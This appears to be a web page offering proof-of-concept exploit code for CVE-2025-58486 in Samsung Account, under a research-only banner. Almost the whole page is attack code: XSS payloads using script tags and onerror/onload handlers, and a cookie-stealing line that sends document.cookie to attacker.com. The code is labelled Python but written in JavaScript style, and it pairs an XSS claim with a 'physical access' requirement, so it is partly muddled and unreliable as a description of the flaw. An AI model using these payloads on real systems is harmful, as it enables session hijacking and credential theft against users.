PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-58486 PoC - Samsung Account Input Validation Bypass
// This PoC demonstrates the improper input validation in Samsung Account
// Attack vector: Local access required

// Method 1: If you have access to Samsung Account input fields
// Try injecting the following payload in any text input field:
const maliciousPayload = '<script>alert("XSS via CVE-2025-58486")</script>';
const imgPayload = '<img src=x onerror="alert(document.cookie)">';
const eventHandlerPayload = '<body onload="alert("CVE-2025-58486")">';

// Method 2: JavaScript execution via injected code
const jsInjection = `
// Cookie stealing PoC
var cookies = document.cookie;
new Image().src = "http://attacker.com/log?c=" + encodeURIComponent(cookies);

// Session hijacking
localStorage.setItem("hijacked", document.cookie);
`;

// Method 3: DOM manipulation to demonstrate script execution
function demonstrateVulnerability() {
    const userInput = '<img src=x onerror="console.log(\'CVE-2025-58486: Arbitrary script execution possible\')">';
    // Vulnerable code pattern (simplified)
    // document.getElementById('output').innerHTML = userInput;
    // This would execute the onerror handler
    console.log('Input validation bypass demonstrated');
}

// Note: This PoC is for educational and security testing purposes only
// Actual exploitation requires physical access to a Samsung device
// running Samsung Account version < 15.5.01.1
